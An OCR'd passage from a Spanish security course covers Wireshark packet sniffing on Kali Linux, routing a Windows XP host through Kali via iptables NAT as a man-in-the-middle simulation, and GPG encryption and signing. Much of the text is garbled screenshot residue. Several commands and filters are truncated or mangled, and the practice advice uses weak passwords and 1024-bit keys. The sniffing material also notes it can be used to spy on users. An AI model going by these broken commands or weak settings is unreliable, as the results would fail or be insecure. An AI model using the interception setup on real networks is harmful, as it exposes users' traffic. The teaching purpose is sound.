2P security@ClienteD: ~ =0 EoR ™

Y bueno, eso es todo. Ya disponemos del conocimiento necesario para abrir un
canal seguro entre dos maquinas de manera rapida y sencilla. Eso si, recordar que
el puerto SSH lo habéis cambiado, ahora cuando accedais por Putty o cualquier otro
debeéis hacerlo por el puerto 122.
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WireShark

Wireshark es un sniffer de red, anteriormente llamado Ethereal. Esto es un
programa que captura todo el trafico de la red. Para usarlo con seguridad, Wireshark
nos pedira usar un usuario que no sea el root en Linux.
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Lo primero, creamos un grupo llamado wireshark y le metemos un nuevo usuario
llamado hacker, asignando la ruta y permisos al directorio de la aplicacion que usa
wireshark.

root@kali: ~

Archive Editar Ver Buscar Terminal Avyuda

addgroup -quiet -system wireshark
chown root:wireshark /usr/bin/dumpcap

i
=
:®# setcap cap net raw,cap net admin=eip /usr/bin/dumpcap
## adduser hacker
Afiadiendo el usuario " hacker'
sl nuevo grupo "hacker' (10064

1 nuevo usuario hacker' con grupo hacker'

Vuelva a escribir 1la nueva contrasefia de UNIX:

passwd: contrasefia actualizada correctamente

Cambia

0 valor predeterminado
complet

0 de habita

fono del 3

{Es correcta la informacidn? [S/r

= |

Ahora arrancamos el Wireshark, para ello vamos a Aplicaciones, Kali Linux,
Husmeando, Husmeando redes, Wireshark.

Aplicaciones Lugares - mar 3 de feb, 09:47

-

LISES O Y

& |
L

PIIPIIII Y

w3
\ passive msCoveryd
i

i
-
2 sponder ﬂ Herrameentas VolP »
i
-

Husmean
P G

MCErer

b

22

Nos aparecera la siguiente pantalla, que es la interface gﬁ:‘lﬁGEl del WireShark.
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The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10}] o=

File Edit Wiew Go Capture Analyze 5Statistics Telephony Tools Internals Help
C@ams @NxCc aes»s T EE T el e

Filter: w  Expression...

The Wcrld s Mnst Pnpular Network Prntocnl Analyzer

e
WIRESHARK v.cion110.2 (SVN Rev 51934 from ftrunk-1.10)

1.10.2 (5 ’

P — — T —

~ Interface List = Open o= Website
Live List of the capture nterfaces Opena previously captured flle VER the project’s web
{counts ncoming packets)
SR G s» User's Guid:
F | Start O s {ontir
Choose one or mare rkerfaces to capture from, then Start ® Sample Captures
& eth0 A richassortment of example capture files onthe wiki 0 Secu I"'it‘v
! nflog Work with Wiresharik g
& ethl
Ready to load or capture Mo Packets Profile: Default

Vamos a Capture, Options. Marcamos nuestra interface por la que vamos a esnifar
los datos. Es importante dejar marcada la opcion promiscua para que el programa
pueda escuchar toda la informacion de red.

Wireshark: Capture Options heeral r:':ti-b-“e,éf!
Capture
Capture Interface Link=layer header From. Mode Snaplen [B] Buffer [MB] Mon
ethl
192,168 20.21 Ethernet enabled default
FeS0 a0 27 MM fe98:52d1 |
any Linux cooked enabled default 2
Loopback: lo I
127.0.0.1 Ethernet enabled default 2

Capture on all interfaces Manage Interfaces

¥ Use promiscuous mode on all interfaces

Capture Filter: b Compile selected BPFs
Capture Files Display Options
File: Browse... v Lipdate list of packets in real time
' Use multiple files ¥ Use pcap-ng format

¥ Automatically scroll during live capture

" Hide capture info dialog

Si pur ejemplu hacemos un ping desde otro equupo al Kali Linux donde tengo el
Wireshark, saldra lo siguiente. La ventana que sale por defecto es la captura en
tiempo real del trafico.
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Wireshark: Capture from ethl

Captured Packe
t 6 % of tota
Filte
T 0,0%
TCP 0, £k
0 0 0%

1 BTN, : . ; 3 S . . A= O+ = Al i - &0
S| 1cmp 3 —_— D el R et L,

Ethari } oox Ffzff)
Addrei GRE 0,0%
NetBI0S 0,.0%
PX 0 O, 103%
VINE 0,0%
the 0,0%
<L Eventa . 0,0%
2C Data 0.0%
Runming 00-01:08
Ayuda >top
f f T 08 27 08 5 08 O6 00 Ol ........ "Moc....
=] & &
00 | ) i 14 = )
€
A g e =] W (el nepEcE

Le damos a Stop para ver lo que a sucedido o minimizamos esa ventanita para ir
viendo los paquetes en tiempo real.
Ahora miramos si hacemos un ping a la direccion IP del Kali y luego un arp —-a.

v CAWINDDOWS\system32\cmd.exe - |23 X%

IC:Documents and Settings“Administrador>arp -—a
Mo =e encontraron entradas ARP

2 Documents and Settings“Administrador>ping 192.168_.20_.21
Haciendo ping a 172.168.28.21 ¢ 32 bytes de datos:

Respuesta desde 192.168.28.C
espuesta desde 192.168.20.:
espuesta desde 192.168.28.

Respuesta desde 192.168.20.2

tiempo=4ms TIL=64
tiempo=1ims TTL=64
tiempo=ims TIL=64
tiempo=ims TIL=G4

b
ok
#8 B8 B8 AW

w [ N2

1)

Estadisticas de ping para 192.168.280.21:
Paguetes: enviados = 4, wrecibidosz = 4, perdidos = 8
(Bxz perdidos?.
iempos aproximados de ida v vuelta en milisegundos:
Minimo ims, Maximo 4ms, Media ims

C:sDocuments and SettingssAdministradorzarp —a
Interfaz: 192.168.20.15 Ax19803
Direccién IP Direccion fisica Tipo

192.168.20.21 B8-a8-27-98-52-d1 dinamico

C:sDocuments and Settings“Administrador?

Vamos al Wireshark y vemos como muestra el protocolo ARP.
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Capturing from ethl [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10)]

it View Go Capture Analyze Statistics Telephony Tools Internals Help
m L@ 9 3 F 8 EEH| JF N B

Emprpcmﬁn

L35, 7023180({ 192.168. 30. 15 192, 168.20. 21 i 74 ECcho (plng) request 1d=-0x0200, seq=3840/15, T

235. 7024960 192.168.20. 21 162.1688.20.15 ICHR 74 Echo (ping) reply 10=Dx0200, seqe3B40/15, t
236, 7030020 192,168, 20. 15 192.168. 20. 21 1CMP 74 Echo (ping) request 1d=0x0200, ssq=4006/16, t
23570400500 192, 168, 20. 21 152, 168, 20. 15 1CMP 74 Echo (ping) reply 1 d=0x 0200, seq=40096/18, t
237.41531400 fe80: : 2003:e3b:7347:31 ff02::2 ICMPVE 70 PFouter Solicitation from 08:00:27:78:1c:f0

42 who has 192.168.20.157 Tell 192.168.20.21
238, 7010940 CadmusCo 4d:08:e9 CadmusCo 98:52:dl aRP 60 192.168.20.15 1s at 08:;00:27:4d:08:a9
241.42105700 feB0: :2003:e3b 7347 ff02::2 ICMPEw S 70 Pouter Solicitation from 08:00:27:78:1c:f0
262.13912500 feB0: : 2003:e3b;: 7347: 31 ff02::16 w2 90 Multicast Listener Report Message v2
262.1518350( 192, 168, 20, 101 224.0.0,22 I GMPv 3 60 Membership Report Join group 224.0.0.252 for
262, 20353300 fe80: :2003:e3b: 73473 £f02::1:3 LLMNA 9% Standard gusry Ox38b3 ANY WIN- JUZROTHOPGG

t 31: 42 bytes on ware (336 bats), 42 bytes captured (335 baits) on interface O
nat II, Src: CadmusCo 98:52:dl1 (0B:00:27:98:52:d41), Dst: CadmusCo_4d:08:e9 (08:00:27:4d:08:49)
88 Resolution Protocol (reguest)

L 4 »

Ahora vamos a poner que el XP pase a conectarse por el Kali. Para ello ponemos
la IP local del Kali como puerta de enlace del Windows XP. Esto vendria a ser como
si realizaramos un atagque MAN In The Middle, o estuviesemos en una red local
conectados, ya sea por cable o Wifi.

En Kali escribimos lo siguiente para habilitarlo y que en las IPTABLES (Firewall de
Linux) saque el trafico por el interface externo, asi saldra mediante nat a internet.

nat/ipvaysip Torwarc

‘nat -A POSTROUTING -s 192.168.20.0/24 -o eth@ MASQUERADE

Ya deberiamos tener internet en el Windows XP a través del Kali. Ahora vemos
que sucede en el Wireshark. Vemos como se ha movido trafico entre la maquina XP
y el servidor de Google.
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Fila Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
© @ . C A e A FT R EHEB ol @Bz 2

Fil ter ~  Expression

Z216.58.211.185 162.168.20.15 o rootd [ACK] Seq=75740

1595 2048. 316277000 CadmusCo_98:52:d1 CadmusCo_4d:08: a8 ARE 42 who has 192.168.20.157 Tell 1
1506 2048, 318576000 CadmusCo_4d:08:e9 CadmusCo_98:52:d1 ARp 60 152.168.20.15 15 at 08:00:27:4

Frame 1567: 87 bytes on wire (696 bits), 87 bytes captured (596 bits) on interface O

Etharnat II, Src: CadmusCo 98:52:d1 (08:00:27:98:52:dl), Dst: CadmusCo_4d:08:e9 (D8:00:27:4d:08:a9)

Intarnet Protocol Version 4, Src: 218.58.210.131 (218.58.210.131), t: 192.168.20.15 (192.168.20.15)
Transmission Contral Protocol, Src Port: https (£43), Dst Port: ff-annunc (1088), Seq: 354814, Ack: BES2, Len: 33
Secure Sockets Layer

0000 OB OO0 27 4d 08 =9 0B 00 27 S8 52 dl 08 OO0 45 00 N, PRI R T _

0010 00 40 ff Ob OO DD 38 OB ©O5 2e d8 3a d2 83 cO a8 N R

020 14 of 01 bb 04 41 14 95 fc be De ca BS 84 S0 I8 . .ouws ety -

D030 02 2¢c D6 90 00 0D 17 03 O3 0D lc 98 7d ad 46 Ta e R AT Jes

DOAD B85S 25 37 a9 10 b4 fe 98 19 96 22 64 8a 3d ac ba o i L=,

i »

Ahora para no liarnos, vamos a realizar filtros. Podemos filtrar por direccion IP para
redes con muchas maquinas, pero no es el caso, ya que solo tenemos el Windows
XP trabajando.

File Edit View Geo Capture Analyze Statistics Telephony Tools Internals Help

© © 4 m 2 o edyFEBEBE - S F B8

Filter ~ | Expression
! Time S ource Destination Protoco Langt! Info
i oS e L P TP p—
6360 2901 .547311000 Wireshark: Filter Expression - Profile: Default a1 > http [ACK] Seq
6351 2991.550851000 egment of a reassenl
6362 2991.55181400C Field name Relation ql = http [ACK] Seq
6353 2991 .55311500C e L m agment of & reassamsl
6384 2001, 553807000 HPTEAM - HP NIC Teaming Heartbeat ql = http [ACK] Seq
6365 2991.55440400C HSR - High-availability Seamless Redum = egment of a reassem
6366 2991 .55700700C p |= gl = http [ACK] Seq
6367 2901.5574pe00q | HSRP - CscoHot Standby Router Protcly | | .1 206 Partial Cent:
E350 2001 . 550300000 HSR_PRP_SUPERVISION - HSR/PRP S gl = http [ACK] Saqg
6369 2991 .627922000 ’ epspace > http [ACK
Frame 1653: 56 byte hitp.accept - Accept (HTTP Accept) =
Ethernat II, Src: C ; z . s =3
http.accept-encoding - Accept Encod
Internat Protocol Wi P — 20.15)
Transmission Control dos Sl il o A ol matches 276, Len: 2
Hypertext Transfer | hitp.authbasic - Credentials
:‘I_.:?:JH I_f_: ..\I-:r i: :.T "I? 'I; http authonization - Authorization (H
0020 14 of 00 SO 04 4 SEEEEE——

Q0030 B0 4d af 2d 0D O

Cancelar Aceptar

Marcamos http.method.request.
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File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
x - e g - — — - s = =7 = -‘.!
o dBd =N RClaer A2 FEEE coul @0EE |8
Filter: “ | Expression...
HNo Timae Source Destination Protocol Lengtl Info
T A T ]:_,,—-.— TR TR T TR P e g
6306 3087 . 02306800C Wireshark: Filter Expression = Profile: Default ENR-NE.N Key Exchange, Chang
6397 3087, 080308000 Cipher Spec, Encryp
G358 3087.265053300C Field name Relation Value (Character string) Et-rngr » https [ACK]
G350 3087, 453422000 i e R B | tion Data
is present GETI W
SA400 3087, 454553000 http, proxy_authorization - Proxy-Au E‘nnn DCata
6401 2087.53881800C hittp.proxy_connect_host - Proxy-Ce _ avarlant-mgr [AcK)
6402 3087 . 635681000 ot ¢ _— c f= tion Data
Nl g i L) - L= Froxy-
6403 3087.63S68100C e A iy = tion Data
6404 3087 .635681000 nt-mgr > https [ACK]

http.referer - Referar (HTTP Refere |

http request full _uri - Full reguest L

5 »
Frame 1653: 56 byte http.requast_in - Reguest in frame
+ Ethernet 1I, Src: G hitp.reguast method - Request Meat T o)
¢ Imternet Protocol W contains 20.15)
Sy SR e Cnntrnf http.request - Request (TRUE f HTT i 276, Len: 2
' ttp, turi - R tURI (HTT
Hypertext Transfer l- http request uri - Request URI | Range (offset-length)
0000 08 00 27 4d 08 e http request. version - Reguest Vearsi
0010 OO0 23 B3 3c 40 D
goz20 14 Of 00 5D 04 4 = |
o030 80 4d af 2d 00 O
Cancelar Aceptar | v

Ponemos ==y GET, es decir, la imformacion recibida. Aplicamos para activar el

filtro.
file Edit View Go Capture Analyze 5Statistics Telephony Tools Internals Haelp
00 dB | a7 RC A e« Pz B EdEEE 8

Filter: |http.rt|:p.m=t.mtthud =="GET'1 ~ | Expression... Clear

da Tirme Source Destination
L L o T R o Iy T ) el e L L L T |
6356 3087 . 023068000 192.168.20.15 2156.58.211.206 TLSw] 358 Client Key Exchange, Chang
6357 3087 .080308000 216.58,211. 206 192. 168, 20.15 TLSw1 101 change Cipher Spec, Encryp
6358 3087 .265033000 192.168.20.15 216.58.211.206 jga =] 60 availant-mgr > https [ACK]
6350 3087 . 453422000 192.168.20.15% 216.58.211. 206 TLSv1 351 Application Data
6400 3087 . 454553000 192.168.20.15 L216.58.211.206 TLSw1 1131 Application Data
6401 3J087.5388518000 216.58.211.206 192,168, 20.15 TCR 4 https > availant-mgr [ACK]
G402 3087 .635681000 216.58.211.206 192.168.20. 15 TLS¥1 495 fpplication Data
£403 3087 .835581000 216.58.211. 206 192.168.20.15% TLSw1 391 Application Data
5404 3087 . 8355681000 192.168. 20. 15 216.58. 211 .206 TP &0 a'u'a:tlﬂntvmgr = https [ACK]

| 6405 3068.002256000  192.168.20.15 __ 216.56.211.206 TGP 60 availant.mgr > https [RST,]
. Frame 1653: 56 bytes on wire (448 bits), S6 Bjrtts captur;d (448 bits) on interface O

Ethernet II, Src: CadmusCo_98:52:dl (08:00:27:98:52:dl), Dst: CadmusCo_4d:08:e9 (08:00:27:4d:08:e9)
Internet Frotocol Version 4, Src: 213.215.116.226 (213.215.116.226), Dst: 192.168.20.15 (1892.168.20.15)
Transmssion Control Protocol, Src Port: http (80), Dst Port: pt2-discover (1101), Seq: 209, Ack: 276, Len: 2
| Hypertext Transfer Protocol

DOO 08 00 27 4d OB =9 08 00 27 98 52 dl 08 00 45 00 cn Mecan Pl
D10 00 2a &3 3c 40 00 31 06 &7 20 d5 d7 74 22 c0 a8 LY R, Je
P20 14 of CO SO 04 4d a8 a2 30 84 b2 2f ¢3 do S0 18 sosPM, ., O P
P30 80 &d af 2d OO0 0D Od Oa i RE—

Desplegamos cada paquete o UPD sobre el que deseemos mayor informacion en
el panel del medio para ver las diferentes opciones. Con esto veremos trafico,
puertos, Ips, etc.
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Capturing from ethl [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk=1.10}]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
z P 2 : = oy . ' aa
9{:} .:’?..l.:'. e A e “i*"‘?i E! ___E E@ﬁ-‘ o
Filter: http.request.method == "GET™ ~ | Expression.. Clear Guardar
Mo Time Source Destination Protocol Lengtl Info
e i e S A o e SR e o e ey
1441 43.03078500( 192. 168. 20.15 81.168. 174. 208 HTTP C1l GET fwikipedia/commons/2/23/1cons-mni
1456 43, 39401900 192. 168, 20. 15 91.198.174, 208 HTTP B03 GET /wikipedia/commons,/8/8c/Wikiped a-
1473 44,68401200¢ 192.168,20.15 91.198.174, 202 HTTP 1225 GET /es.wikipedia.org/load.php?debug=f
1474 44,.70150100 192,168, 20.15 91.1598.174. 202 HTTE 512 GET fes.wiklpedia.org/load.php?debugs=t
1480 44,.78272100( 192. 168, 20. 15 91.198.174.192 HTTP 578 GET /wiki/Special:Recordlmpressiantcou

45, 552585000 192, 168, 20. 15

91.199.174. 1652

Setfindex.phpititle=Madiawiki s Wik

1S71 45.624043000 192. 168, 20.15

91.198,.174.1592

HTTP

595 GET /w/index.php7title=Mediawiki :Wikab

Flagy. URUL TUON L FrageesTiL

Fragment offset: O

Time to live: 128

Protocol: TCP (6)

Hoader chacksum: Oxfdsd [correct]

Source: 1852.168.20.15 (192.168.20.15)
Destination: 91.198.174.182 (91.158,.174,192)

t [Source GeolP: Unknown]

{0010 0205 1c 1740008006 fdodcOaB l1a0f EEE ....@... ......

{ooz0 04 58 00 50 la 00 47 41 62 39 53 2050 18 WH...P.. GabS.)P.

0030 Ve ec 79 13 00 OD 47 45 54 20 2f 77 2 69 Ge 64 - ¥...0E T fwiind

€ »

El dltimo cuadro esta en hexadecimal, es decir, de cero a nueve y de la letra A a la
letra F, lo que hace un total de 16 caracteres.
Si hacemos un ping a una IP no existente, saldra lo siguiente.

Capturing from ethl [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk=-1.10])]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
. 3 2 = - a Fos
CRO R W X aesa2F 3 BEE oM a8
Filter: v | Expression.,
o Time SOUrce Destination Frotocol |..'|'h|._;t| Info
wl e Tl B Pl b Pl e ik i A o Bl b i S il LIS B LT LI S S L S Ll LR PR
7 12.106800700( CadmusCo_dd:08:e9 Broadcast ARpP 80 who has 192 168.20.317 Tell 102.188.2
8 15.37443000( 216.58. 211.206 192. 168.20.15 Loe 104 Spurce port: https Destination port:
10 17.4458372000 CadmusCo_4d:08:e9 Broadcast aRp 82 whe has 192,.168.20.317 Tell 192.168.2
11 22.44023300( CadmusiCo_4d:08:e9 Broadcast ARp &0 who has 192.168.20.317 Tell 192.188.2
12 27.448452000 CadmusCo_&d:08:e9 Broadcast AFF &0 who has 162.168.20.317 Tell 152.168.2

Frame 1: 42 bytes on wire (336 bats), 42 bytes captured (335 bats) on interface O
Ethernet II, Src: CadmusCo §8:52:d1 (08:00:27:98:52:d1), Dst: CadmusCo 4d:08:e%9 (0B:00:27:4d:08:e9)
Address Resolution Protocol (request)

0000 OB OO0 27 4d ©CB «5 08B D0 27 98 52 dl 08 08 0O 01 o M aias P e

0010 OB OO0 0S O4 00 O] 08 00 27 98 S2 dl cO a8 14 15 .- swsse L
020 OO0 OCODDOD McOaB laofd 020000000 aaiiaaes
< >

El protocolo ICMP es el usado por el comando ping. Veremos destino Broadcast,
es decir, manda una solicitud a toda la red para intentar identificar la maquina que
tiene asignada la IP del ping. Esta IP de Broadcast es muy usada por los hackers,
siendo una forma de mandar trafico a toda la red.
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Con las expresiones o filtros podremos filtrar la informacion, por ejemplo para ver
el trafico de una soéla IP o un tipo de trafico concreto. Si queremos ver el trafico de
una maquina, ponemos su |P:

Ip.addr == 192.168.20.15

Tambien podremos ver solo las peticiones en la que esa IP concreta, sea el origen,
es decir, la info que le entra a esa maquina:
Ip.src == 192.168.20.15

O cuando la IP sea el destino:
Ip.dst == 192.168.20.15

O podremos filtrar por direccion MAC:

Eth.src == 00:11:22:33:44:55 (La MAC de la tarjeta de red que sea).

Estos filtros pueden ser sumados, simplemente se separan de la siguiente forma:
Ip.addr == 192.168.20.15 | http.method.request == “POST”

Si lo que queremos es omitir alguna busqueda concreta, ponemos la esclamacion
hacia abajo y la consulta a quitar entre paréntesis:

! (http.method.request == “POST”)

Ahora nos mandamos un mail a nosotros mismos desde el Windows XP.

Con el Wireshark en ejecucion, filtramos el trafico para ver sdélo el trafico del mail o
del protocolo que deseamos esnifar. Con esta herramienta podremos tener
controlado el trafico de una red, tanto para espiar a los usuarios, como para poder
resolver problemas de nuestra red, ya sea por ejemplo por un esceso de trafico que
realentice la red debido a un Malware, etc.
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Criptografia

En muchas ocasiones, especialmente en el ambito empresarial, es necesario
transmitir una informacién que por su caracter es de vital importancia para la
empresa o las personas que se comunican una cierta informacion. En muchas
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ocasiones esta informacion es muy tentadora para la competencia o curiosos y
debemos asegurarnos que no pueda ser captada por ellos.
Para intentar evitar esto, o al menos complicarselo, existe la criptografia, donde
nuestra informacién sera enviada por el medio que sea de forma que no sea legible
a simple vista o necesite de contraserias para poder ser leida. A esto es a lo que se
le llama criptografia, a encriptar nuestra informacion.
Estos sistemas se han usado a lo largo de la historia, desde Julio Cesar, que usaba
un sistema tan simple como aumentar 3 caracteres a cada uno de los reales, hasta
tecnologias mas avanzadas como la maquina Enigma usada por los nazis en la
segunda guerra mundial.
Este tipo de sistemas se ha ido actualizando y desarrollando numerosos programas
y protocolos para aumentar su complejidad.
Lo primero es conocer los dos tipos de encriptacion que existen, los simetricos y los
asimeétricos que intentare explicaros de la forma mas sencilla posible.
Simetrico. Los cifrados simeétricos son los que mediante una contrasefia enviada en
la trasmision, el receptor puede desencriptar con esa clave el mensaje. Esto es poco
seguro en casos en los que alguien intervenga esa comunicacion. Cuando se usa
este sistema, es muy importante transmitir y mensaje y la clave por dos vias
totalmente diferentes. Si mandamos el archivo cifrado y la contraserfia del sistema
simetrico, no servira de nada, cualquiera que este interceptado la comunicacion
obtendra ambos y podra acceder a toda la informacion. Un claro ejemplo de cifrado
simetrico es el que realiza por ejemplo WinRar al poner una contrasefia cuando
comprimimos un archivo protegido. Para Linux existen diversos programas
criptograficos simetricos, uno de ellos es GPG, vamos a probarlo. Voy a usar una
distro de Linux llamada Lubuntu que ya lo tiene instalado por defecto y es bastante
rapida. Para este caso 0s servira practicamente cualquier distro, aunque estaria
bien que os acostumbreis a usar diferentes distros.
Si queremos cifrar un archivo con un mensaje, por ejemplo el archivo llamado
simetrico.txt que podemos crear con el comando nano simetrico.txt y escribir un
texto cualquiera en el, se escribe lo siguiente: gpg --symetric simetrico.txt. Es
importante que cuando solicite contraseria, la recordemos.

) Lumno@lubunt gpg --Symmetric s

LI - L

Si listamos el directorio con Is =l, veremos que nos ha creado ese mismo archivo o
mensaje con la extension .gpg al final. Como vemos los permisos de Linux son
exactamente iguales.

124



Si editamos este archivo, esto es lo que nos mostrara.
. GNU nano 2.2.6 Archivo: simetrico.txt.gpqg

IVE n.BEBRTFN (A7 “R -'_|I;i 57 0Ey I;i'_'l;Jl': BuL”

Ahora copiamos el archivo en un directorio comun, por ejemplo /tmp.

AULLTGIRTDFIAVERR WD simetrico.txt.gpg /tmp/

Si por ejemplo disponemos de dos usuarios, vamos a otro terminal y nos logamos
con otro usuario, en este caso los usuarios seran alumno y profesor. Para crear los
usuarios seria por ejemplo adduser profesor, damos al intro y le ponemos una
contrasenfia facil de recordar. Cuando abrimos una terminal de comandos y
gueremos acceder con otro usuario, recordar que usamos el comando su profesor,
damos al intro y ponemos la contraseia.

Vamos a desencriptar el archivo desde el otro usuario. Usamos el comando gpg --
decrypt /tmp/simetrico.txt.gpg. Automaticamente desencripta el mensaje y nos
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muestra el contenido, en este caso yo escribi Hola chicos. que marco en la
siguiente imagen.

i =T - L¥
17T _'I L CACTS
e taTs S g ' & -

4 bl

| :

Para poder desencriptarlo, nos pedira la misma contrasefia que puso el primer
usuario que encripto este mensaje, la clave debe ser la misma y previamente debe
trasmitirsela por el medio que desee.

Tambien existe la posibilidad de mandar ese mensaje a un archivo para tenerlo
guardado y no tener que verlo por pantalla.

1metl

int

¥ L

Lo que hemos hecho con el signo de mayor que, es mandar la ejecucion del
comando a un archivo llamado dealumno.txt que crea en el mismo directorio, si no
existe el fichero lo crea automaticamente. Si abrimos el archivo con un editor,
veremos el mensaje ya en texto plano.

GNU nano 2.2.6 Archivo: dealumno.txt

Si tenemos fallos de contrasefias, podemos borrar la clave simétrica con el
comando rm .gnupg -r, pero espero que no os olvideis de la contrasenia.
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Dentro de la inseguridad de la criptografia simeétrica, podemos proteger un poco mas
nuestros archivos o programas cifrados usando adicionalmente a la clave, un

algoritmo de encnptacmn por EJempIcl en este caso vamos a usar AES.
3 no@lubuntu:~$ ) her-alg AES -0 cifradoaes.aes cifradoae

Nos pedira de nuevo 2 veces la contrasefa. Si editamos el archivo creado, esta vez
lo hemos creado con la extension .aes para diferenciarlo del otro, esto es lo que nos

muestra.
- GNU nano 2.2.6 Archivo: cifradoaes.aes

Lo mandamos o pasamos a un directorio de otro usuario o compartido. Ahora desde
el usuario receptor desencriptamos el archivo con la misma contrasefia y lo
mandamos a un archivo .txt.

Si abrimos el archivo descifrado con el mensaje, se vera lo siguiente, bueno, cada
uno lo que haya escrito en su archivo.
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GNU nano 2.2.6 Archivo: aesdescifrado.txt

Esto es mas o menos la criptografia simétrica, no muy recomendada, pero teniamos
que verla por encima. Vamos ahora a la que realmente es mas usada, la criptografia
asimetrica.

Esta criptografia es mucho mas segura que la simeétrica. Con este sistema
criptografico, se usan dos claves, una publica y otra privada. La publica es conocida
por todo el mundo, pero la privada es unica de cada receptor.

Con la clave publica se cifra, se manda el mensaje cifrado y al recibir el receptor el
mensaje cifrado, lo descifra solo con su clave privada.

Esto tambien se puede realizar con el comando gpg. Vamos a ver algunos ejemplos.
Primero para borrar la claves simetricas y evitar problemas hacemos lo siguiente en
ambos usuarios.

Ahora creamos las claves con el comando gpg --gen-key desde el primer usuario,
en mi caso alumno. Seleccionamos 2 para indicarle DSA y Elgamal.
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Rellenamos los datos que nos va solicitando, usare solo 1024 bits de longuitud de
clave, una validez de 30 dias, pulso S para confirmar y en nombre le pongo Alumno
0 el que queramos.

.....

Ponemos los datos que deseamos. Al final damos a V para confirmar y ponemos la
clave que queramos, para las practicas os recomiendo una sencilla y que recordeis,

como 123456789 o similar.
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Nos saldra este aviso, simplemente conectate a internet con el navegador en alguna
web, abre aplicaciones del equipo, etc., para generar trafico que necesita para que
funcione correctamente. Tras esto saldra lo que se llama huella de la clave.

Esta huella de clave es importante, guardarla en un archivo o imagen. Si no
recordamos las contraseria, podemos listarlas.
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Si listamos el directorio .gnupg vemos la clave publica y la privada, serian los
archivos pubring.gpg y secring.gpg respectivamente.

Ahora vamos a exportar la clave publica al archivo alumno.pub, si algun hacker la
captase seria indiferente, si no dispone de clave privada no podra descifrar el
mensaje.

oub alumno

Ahora si desde el otro usuario, profesor en mi caso, abre el archivo alumno.pub,
vemos la clave publica encriptada.
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GNU nano 2.2.6 Archivo: /tmp/alumno.pub

Podemos comprobar que se ha importado correctamente y que es del usuario
correcto.

Ahora vamos a mandar un mensaje del usuario profesor al usuario alumno cifrado.
Creamos un archivo llamado mensprofe con nano mensprofe y ponemos un texto
cualquiera. Hacemos lo siguiente.
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Aqui —o indica el destino del archivo cifrado, alumno se refiere a la clave publica
llamada alumno, a eso se refiere con recipient, no al usuario alumno.

Le damos que si y listo. Veremos que se muestran las huellas de clave. Como
vemos la huella de clave primaria, debe ser igual que la que vimos anteriormente y
gue aparecio en el otro usuario, por eso queria que la guardaras.

Editamos el mensaje cifrado que vamos a mandar del usuario profesor al usuario
alumno. Esto es lo que va a recibir.

T ATEET YW W W W W - w F o TR T W W W

Ahora vamos al usuario alumno y vamos a descifrar ese mensaje. Primero vemos
que la huella es correcta e;ecutando gpg --fingerprint.

pub  1024D/EFAE12E9 2015-03-19 [[caduca: 2015-04-18]]
Huella de clave = B947 B2FF B32E ©22B 1590 2(CB2 EE66 6D06@ EFAE 12E9

Ahora desencriptamos el mensaje y lo guardamos en un txt. Nos pedira la clave que
pusimos, no la publica o privada.
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Ahora vamos a hacer lo opuesto, creando una clave publica al usuario profesor que
deba desencriptar el usuario alumno, seguimos el mismo procedimiento.

Vemos que ya hay dos claves.
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profesor@lubuntu:~% gpg --list-key
home/profesor/.gnupg/pubring.gpg

.................................

1024D/EFAE12ES 2015-03-19 [[caduca: 2015-64-18]]
Alumno <alumno@seguridad.com>
10249/5E4C9B7F 2015-03-19 [[caduca: 2015-84-18]]

1024D/68C5A514 2015-03-19 |[lcaduca: 2015-64-18]]
Profesor <profe@seguridad.com>

(a: 2015-04

VVamos al usuario profesor y desencriptamos el mensaje, mostrandolo por ejemplo
en pantalla.
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Pues ya estaria, ahora a facilitar este proceso. SSH es un protocolo de
comunicaciones seguras que usa clave simetrica y posteriormente asimetrica. Esto
permite que la comunicacion cifrada entre dos o0 mas usuarios sea mas agil y no
tengan que estar constantemente encriptando y desencriptando.

Ahora, con la clave publica ya creada, vamos a firmar los ficheros para agilizar estas
tareas.

Creamos un archivo llamado mensajefirma y escribimos algo en él. Lo firmamos de
la siguiente forma y nos crea uno del mismo nombre con la extension .asc

ensajefirma.as

vbox.run

Si lo editamos vemos que esta correctamente encriptadn.
GNU nano 2.2.6 Archivo: mensajefirma.asc
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Vamos al usuario profesor y copiamos el archivo cifrado a nuestra carpeta home.
Comprobamos que el archivo esté firmado por quien dice ser, para ello ejecutamos
el siguiente comando.

Para firmar archivos se puede hacer de la siguiente forma.

ylumno@lubun

-

u:~$ gpg -a --clearsign mensajefir

umno@sequridad. ct

1 % o ¥ H
ID EFAE12E9, creada el 2015-03

GNU nano 2.2.6 Archivo: mensajefirma.asc
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Ya el usuario profesor dispone de acceso a un fichero firmado y encriptado. Vemos
gue la firma es correcta.

19 irma Cﬂl‘l‘tﬂtﬁdﬁ «Alumno SERETLEEGE

Si lo edita, el profesor vera el mensaje y vera que esta firmado.
GNU nano 2.2.6 Archivo: mensajefirma.asc

nsaje para firmar del usuario Alumno.

IGNATURE

Si el usuario alumno desea firmar y ademas encriptar, debe ejecutar esto.

¥ 1 R =4 1 Y i 2l 1 Tak: 1 5
OELUDUNTU: =S apg 10 ensajerll

Con esto si editamos el archivo, ya no vemos el mensaje, esta totalmente
encriptado.
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GNU nano 2.2.6 Archivo: mensajefirma.asc

Lo volvemos a pasar a algun directorio donde el profesor tenga acceso.
alumno@lubuntu:~S cp mensajefirma.asc /tmp/mensajefirma.asc

HLlubuntu:~5S l

Vemos que efectivamente el profesor no ve nada si edita el archivo al estar

encriptado.
GNU nano 2.2.6 Archivo: mensajefirma.asc

Si el profesor lo desencripta, podra ver el mensaje.
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I ensa e rfi u5riAlmu. |

T T 3
4 b i = L T 43 1 LU LD AL

SSNqpg --decrypt mensajefirma.asc > test. txt

GNU nano 2.2.6 Archivo: test.txt

Si le digo que si, a partir de ahora la firma alumno sera para siempre una firma
aceptada.

Esto que aparentemente parece tan tedioso, es la forma interna de como funcionan
los certificados digitales que tan utiles nos son para diferentes tramites por internet,
solo que los certificados son mas sencillos a nivel visual.

140



En este caso hemos trabajado en local, pero al cifrar un archivo, este puede ser
enviado por cualquier otro medio, como el correo electrénico.

En estas firmas digitales, veremos que tanto la confianza, como la validez, son
desconocidas. Esto no quiere decir que las firmas sean incorrectas o falsas, sino
gue no estan certificadas por una entidad certificadora reconocida a nivel
internacional.

